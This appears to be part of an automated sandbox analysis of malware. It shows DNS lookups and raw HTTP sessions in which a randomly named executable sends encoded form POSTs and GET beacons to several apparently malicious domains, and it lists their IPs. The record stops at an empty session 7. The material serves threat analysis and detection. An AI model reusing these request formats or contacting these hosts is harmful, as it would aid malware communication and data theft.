Sep 12, 2024 15:07:13.301229954 CEST	1.1.1.1	192.168.2.4	0x4be2	Name error (3)	www.xsg.icu	none	none	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:18.325428009 CEST	1.1.1.1	192.168.2.4	0xd8d	No error (0)	www.jobworklanka.online	jobworklanka.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:07:18.325428009 CEST	1.1.1.1	192.168.2.4	0xd8d	No error (0)	jobworklanka.online		91.184.0.200	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:31.880407095 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	www.shipincheshi.skin		154.23.176.197	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:31.880407095 CEST	1.1.1.1	192.168.2.4	0x1237	No error (0)	www.shipincheshi.skin		154.23.176.232	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:07:46.241389990 CEST	1.1.1.1	192.168.2.4	0x3533	No error (0)	www.sssqqq07-22.fun		45.113.201.77	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:00.579713106 CEST	1.1.1.1	192.168.2.4	0x49f8	No error (0)	www.justlivn.net	justlivn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:08:00.579713106 CEST	1.1.1.1	192.168.2.4	0x49f8	No error (0)	justlivn.net		76.223.113.161	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:14.059242964 CEST	1.1.1.1	192.168.2.4	0xc9df	Server failure (2)	www.mypos.support	none	none	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:22.174263954 CEST	1.1.1.1	192.168.2.4	0x4724	No error (0)	www.healtheduction.site	www.healtheduction.site.cdn.hstgr.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:08:22.174263954 CEST	1.1.1.1	192.168.2.4	0x4724	No error (0)	www.healtheduction.site.cdn.hstgr.net		84.32.84.37	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:35.705642939 CEST	1.1.1.1	192.168.2.4	0xf525	No error (0)	www.globyglen.info	globyglen.info		CNAME (Canonical name)	IN (0x0001)	false
Sep 12, 2024 15:08:35.705642939 CEST	1.1.1.1	192.168.2.4	0xf525	No error (0)	globyglen.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 12, 2024 15:08:35.705642939 CEST	1.1.1.1	192.168.2.4	0xf525	No error (0)	globyglen.info		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.jz07259dkijw.cloud

www.academy-training.xyz

www.fslab.tech

www.vip66.zone

www.lyxor.top

www.unveiled.digital

www.cake11298.online

www.jobworklanka.online

www.shipincheshi.skin

www.sssqqq07-22.fun

www.justlivn.net

www.healtheduction.site

www.globyglen.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	43.135.99.21	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:05:30.788381100 CEST	437	OUT	GET /yubh/?3tV=MGGAmHlvP++E3KpIg/FvL8i1JT0OgWxwxFcygqL2UA5R59sdx989XYnZ+w7o4wVQKi3RHCwbh3FXDB4APLYG/bTnAIRthbjQ9IlTiulES96X0xboBN3l7cI=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.jz07259dkijw.cloud User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:05:31.654726028 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Sep 2024 13:05:31 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	79.125.89.83	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:05:46.756665945 CEST	716	OUT	POST /1ki5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.academy-training.xyz Origin: http://www.academy-training.xyz Referer: http://www.academy-training.xyz/1ki5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 74 75 71 4b 32 56 7a 6e 4c 78 51 54 4d 71 59 32 43 35 4a 6b 56 66 6c 68 54 4c 51 70 7a 48 46 46 4a 4d 30 73 63 41 73 77 38 67 56 6a 75 42 68 44 78 41 76 49 44 45 2b 37 52 51 36 67 66 4f 58 41 70 59 53 38 72 59 72 49 74 6c 6d 33 41 6e 38 62 77 71 42 46 4a 79 34 35 34 46 43 5a 58 41 4c 77 35 67 71 64 5a 46 55 79 54 77 70 2f 4e 73 35 32 61 45 75 44 41 6b 53 59 74 30 53 66 72 66 77 58 61 63 6b 56 52 58 71 41 48 71 69 79 76 54 6a 65 4e 39 67 37 31 2b 32 7a 50 33 4d 67 71 6a 4e 44 44 34 6b 51 68 69 66 38 56 4b 32 6d 32 5a 36 71 44 2f 4e 66 57 32 52 35 65 36 65 6d 79 30 79 65 34 67 3d 3d Data Ascii: 3tV=tuqK2VznLxQTMqY2C5JkVflhTLQpzHFFJM0scAsw8gVjuBhDxAvIDE+7RQ6gfOXApYS8rYrItlm3An8bwqBFJy454FCZXALw5gqdZFUyTwp/Ns52aEuDAkSYt0SfrfwXackVRXqAHqiyvTjeN9g71+2zP3MgqjNDD4kQhif8VK2m2Z6qD/NfW2R5e6emy0ye4g==
Sep 12, 2024 15:05:47.701035023 CEST	488	IN	HTTP/1.1 403 Forbidden Date: Thu, 12 Sep 2024 13:05:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains Content-Encoding: gzip Data Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0
Sep 12, 2024 15:05:47.701590061 CEST	488	IN	HTTP/1.1 403 Forbidden Date: Thu, 12 Sep 2024 13:05:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains Content-Encoding: gzip Data Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	79.125.89.83	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:05:49.319444895 CEST	736	OUT	POST /1ki5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.academy-training.xyz Origin: http://www.academy-training.xyz Referer: http://www.academy-training.xyz/1ki5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 74 75 71 4b 32 56 7a 6e 4c 78 51 54 4e 50 51 32 41 61 68 6b 54 2f 6c 69 4e 37 51 70 6c 33 46 42 4a 4e 49 73 63 43 42 39 38 79 78 6a 75 67 52 44 77 42 76 49 43 45 2b 37 4a 41 36 6c 51 75 57 74 70 59 66 42 72 63 76 49 74 6b 43 33 41 6e 4d 62 77 5a 35 43 47 43 34 37 79 56 43 62 54 41 4c 77 35 67 71 64 5a 46 51 55 54 77 78 2f 4f 59 46 32 5a 6d 4b 41 4e 45 53 62 6b 55 53 66 76 66 77 4c 61 63 6b 6a 52 53 7a 6c 48 70 61 79 76 54 54 65 4e 6f 4d 34 73 4f 32 31 53 6e 4e 49 70 57 39 49 4f 59 78 48 73 45 62 44 56 61 76 43 36 2f 72 77 53 4f 73 49 45 32 31 4b 44 39 58 53 2f 33 50 58 6a 71 4f 77 77 36 2b 7a 33 57 37 51 4a 7a 56 2b 31 4f 2f 54 69 49 45 3d Data Ascii: 3tV=tuqK2VznLxQTNPQ2AahkT/liN7Qpl3FBJNIscCB98yxjugRDwBvICE+7JA6lQuWtpYfBrcvItkC3AnMbwZ5CGC47yVCbTALw5gqdZFQUTwx/OYF2ZmKANESbkUSfvfwLackjRSzlHpayvTTeNoM4sO21SnNIpW9IOYxHsEbDVavC6/rwSOsIE21KD9XS/3PXjqOww6+z3W7QJzV+1O/TiIE=
Sep 12, 2024 15:05:49.943836927 CEST	488	IN	HTTP/1.1 403 Forbidden Date: Thu, 12 Sep 2024 13:05:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains Content-Encoding: gzip Data Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	79.125.89.83	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:05:51.871735096 CEST	10818	OUT	POST /1ki5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.academy-training.xyz Origin: http://www.academy-training.xyz Referer: http://www.academy-training.xyz/1ki5/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 74 75 71 4b 32 56 7a 6e 4c 78 51 54 4e 50 51 32 41 61 68 6b 54 2f 6c 69 4e 37 51 70 6c 33 46 42 4a 4e 49 73 63 43 42 39 38 79 35 6a 75 53 70 44 78 69 33 49 59 45 2b 37 58 51 36 6b 51 75 58 76 70 63 37 46 72 63 69 39 74 6e 71 33 52 32 73 62 35 4d 56 43 64 53 34 37 36 31 43 59 58 41 4b 71 35 6a 44 57 5a 46 41 55 54 77 78 2f 4f 65 68 32 4e 45 75 41 50 45 53 59 74 30 53 59 72 66 77 33 61 63 38 64 52 57 76 66 48 59 36 79 75 7a 44 65 41 36 30 34 7a 2b 32 33 42 58 4e 51 70 57 34 51 4f 59 74 4c 73 45 48 70 56 59 7a 43 71 72 75 57 4b 39 55 77 65 58 78 49 42 4f 50 53 33 47 37 70 36 6f 69 79 33 4a 69 72 6a 45 7a 74 4d 78 59 42 6f 2f 66 67 36 6f 76 4f 32 30 57 49 43 43 31 62 32 61 63 54 41 75 6d 59 44 79 79 56 32 7a 46 61 55 4f 4a 41 71 62 39 4e 30 45 6f 34 54 4a 43 77 42 68 4c 77 48 47 34 63 37 47 50 30 65 2f 33 2f 70 33 79 35 4b 50 32 57 4b 71 6a 54 35 4b 52 46 43 50 65 64 67 6e 65 75 45 53 78 69 79 2b 49 79 49 73 65 4e 62 77 62 71 6b 52 44 74 56 2f 46 36 44 2b 78 66 4e 38 53 34 37 70 70 6b 36 6c [TRUNCATED] Data Ascii: 3tV=tuqK2VznLxQTNPQ2AahkT/liN7Qpl3FBJNIscCB98y5juSpDxi3IYE+7XQ6kQuXvpc7Frci9tnq3R2sb5MVCdS4761CYXAKq5jDWZFAUTwx/Oeh2NEuAPESYt0SYrfw3ac8dRWvfHY6yuzDeA604z+23BXNQpW4QOYtLsEHpVYzCqruWK9UweXxIBOPS3G7p6oiy3JirjEztMxYBo/fg6ovO20WICC1b2acTAumYDyyV2zFaUOJAqb9N0Eo4TJCwBhLwHG4c7GP0e/3/p3y5KP2WKqjT5KRFCPedgneuESxiy+IyIseNbwbqkRDtV/F6D+xfN8S47ppk6lTiTJRfL48uNuvdpHA3JlnQZTBckLYsVPyWL4YEUuveVJE6rTmCvIFKFymeSBPd/P5y/EBPTGKxIihI3vbbVkJ0IoM3XWtn6Bd/rYDW+9VY3Z1b3B86dTi8exhIq8PQOouJtoMViw/fu5GkAiN4zTWEyJxaGvhb+qjUuNW144vZ36K3+/UOBIygCgM1c1mr/Pt1BtxFan2Y+dw1O58cj3z2yksa38MhvVV4DVzWNocFjBcqOUjkEtv1iSZ6oHL61oS7PVvZaQVXVk7l2xqAqha5JydCOTaUSZDHzQgcAQV4twh4v4oCYrwN2+xQS+A+zLfXI46kO57vQj3/YQTAE4lg1A7rfXM/kzWSjgzs3Xwaj6RL79kM9aB1zjkKlLTj/u0gJ97lK7XVYnSCww9Ie4Q3Yxy9P1GVJsDIPqlWVd0XHGWXQOoTI5VEXs+pydYbQ/cq4hynDPtAgJN83LdX1Hng1pPVuTz2yoVzocYGGGL/KAjVYoRzolcPfbVVlVH7AAo7ZsACw399QtJTv/UMzf61BMInRfJoALJOPKjr8cfrcy0APbBJoDr1d/X6pBeIOLofnBUjwAqy0xNmtkitdDbn1A8uumIpf/qvxbHqoLfyKPvtmNtNcnJRJCwjrUQDTW/w9qkUN2ZlgnJ1L6aNXZf14FJc/2gxuezI [TRUNCATED]
Sep 12, 2024 15:05:52.576183081 CEST	488	IN	HTTP/1.1 403 Forbidden Date: Thu, 12 Sep 2024 13:05:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains Content-Encoding: gzip Data Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	79.125.89.83	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:05:54.581515074 CEST	439	OUT	GET /1ki5/?3tV=gsCq1lWJF1dgPZoYALsPcNVJYLoWokZlTtBhbiV8szE8yhkYsHvmTVOKeDfgQfnx9IrMke6/s2GfQFtZ1s1QNRcJqVfOe3H7gjz1UwsXUQ8sNONuaUThKkQ=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.academy-training.xyz User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:05:55.205617905 CEST	607	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:05:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains Data Raw: 31 32 63 0d 0a 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 3a 20 3c 2f 73 74 72 6f 6e 67 3e 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 61 64 64 72 65 73 73 20 3c 73 74 72 6f 6e 67 3e 27 2f 31 6b 69 35 2f 3f 33 74 56 3d 67 73 43 71 31 6c 57 4a 46 31 64 67 50 5a 6f 59 41 4c 73 50 63 4e 56 4a 59 4c 6f 57 6f 6b 5a 6c 54 74 42 68 62 69 56 38 73 7a 45 38 79 68 6b 59 73 48 76 6d 54 56 4f 4b 65 44 66 67 51 66 6e 78 39 49 72 4d 6b 65 36 2f 73 32 47 66 51 46 74 5a 31 73 31 51 4e 52 63 4a 71 56 66 4f 65 33 48 37 67 6a 7a 31 55 77 73 58 55 51 38 73 4e 4f 4e 75 61 55 54 68 4b 6b 51 3d 26 61 6d 70 3b 49 68 6b 54 62 3d 78 50 66 48 47 30 6f 38 6b 5a 49 38 27 3c 2f 73 74 72 6f 6e 67 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 12c<h2>Not Found</h2><p class="error"> <strong>Error: </strong> The requested address <strong>'/1ki5/?3tV=gsCq1lWJF1dgPZoYALsPcNVJYLoWokZlTtBhbiV8szE8yhkYsHvmTVOKeDfgQfnx9IrMke6/s2GfQFtZ1s1QNRcJqVfOe3H7gjz1UwsXUQ8sNONuaUThKkQ=&IhkTb=xPfHG0o8kZI8'</strong> was not found on this server.</p>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	160.251.148.115	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:00.747618914 CEST	686	OUT	POST /5jwl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.fslab.tech Origin: http://www.fslab.tech Referer: http://www.fslab.tech/5jwl/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 62 67 43 36 50 38 42 56 48 47 33 4d 59 71 4a 7a 2b 43 62 31 35 56 5a 4e 76 6b 47 55 30 71 4a 58 69 52 2f 36 33 73 57 75 65 51 42 78 57 6a 77 7a 6e 5a 70 32 48 69 41 53 78 73 5a 6a 62 6e 4a 31 6a 32 53 45 6a 45 7a 35 32 6f 48 6d 58 74 59 73 72 33 52 41 37 5a 63 59 6f 73 61 64 45 73 66 4a 65 39 57 57 76 69 51 70 33 42 2b 2b 53 46 48 6d 61 4e 71 6d 55 50 53 36 4a 59 58 57 67 70 46 43 56 6c 5a 6f 50 35 62 78 61 6e 39 69 38 58 6a 57 4a 79 64 72 78 34 44 57 52 44 38 35 52 6a 5a 36 36 61 59 4d 62 61 32 2f 2f 38 71 4d 4e 57 69 34 6e 31 47 63 66 6c 4d 69 70 48 56 76 6a 43 38 72 4c 41 3d 3d Data Ascii: 3tV=bgC6P8BVHG3MYqJz+Cb15VZNvkGU0qJXiR/63sWueQBxWjwznZp2HiASxsZjbnJ1j2SEjEz52oHmXtYsr3RA7ZcYosadEsfJe9WWviQp3B++SFHmaNqmUPS6JYXWgpFCVlZoP5bxan9i8XjWJydrx4DWRD85RjZ66aYMba2//8qMNWi4n1GcflMipHVvjC8rLA==
Sep 12, 2024 15:06:01.557938099 CEST	377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Sep 2024 13:06:01 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	160.251.148.115	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:03.292758942 CEST	706	OUT	POST /5jwl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.fslab.tech Origin: http://www.fslab.tech Referer: http://www.fslab.tech/5jwl/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 62 67 43 36 50 38 42 56 48 47 33 4d 59 4b 35 7a 37 68 7a 31 31 6c 5a 4f 6c 45 47 55 74 36 49 63 69 52 7a 36 33 70 32 2b 64 6a 6c 78 59 6d 30 7a 6d 59 70 32 45 69 41 53 35 4d 5a 6d 47 33 4a 38 6a 32 65 32 6a 41 33 35 32 73 58 6d 58 73 6f 73 71 41 39 44 68 70 63 57 6b 4d 61 44 4b 4d 66 4a 65 39 57 57 76 6a 67 58 33 42 57 2b 53 31 58 6d 61 73 71 6c 64 76 53 6c 5a 49 58 57 6b 70 46 65 56 6c 5a 61 50 37 75 6b 61 6c 46 69 38 53 48 57 4a 44 64 6f 37 34 44 51 4f 54 39 38 65 69 59 50 38 34 4a 44 61 62 69 4e 77 34 37 72 42 77 7a 69 32 45 6e 4c 4e 6c 6f 52 30 41 63 62 75 42 42 69 51 45 33 41 4a 47 51 56 67 35 6d 35 32 44 52 35 49 67 64 6b 4f 4d 30 3d Data Ascii: 3tV=bgC6P8BVHG3MYK5z7hz11lZOlEGUt6IciRz63p2+djlxYm0zmYp2EiAS5MZmG3J8j2e2jA352sXmXsosqA9DhpcWkMaDKMfJe9WWvjgX3BW+S1XmasqldvSlZIXWkpFeVlZaP7ukalFi8SHWJDdo74DQOT98eiYP84JDabiNw47rBwzi2EnLNloR0AcbuBBiQE3AJGQVg5m52DR5IgdkOM0=
Sep 12, 2024 15:06:04.084152937 CEST	377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Sep 2024 13:06:03 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	160.251.148.115	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
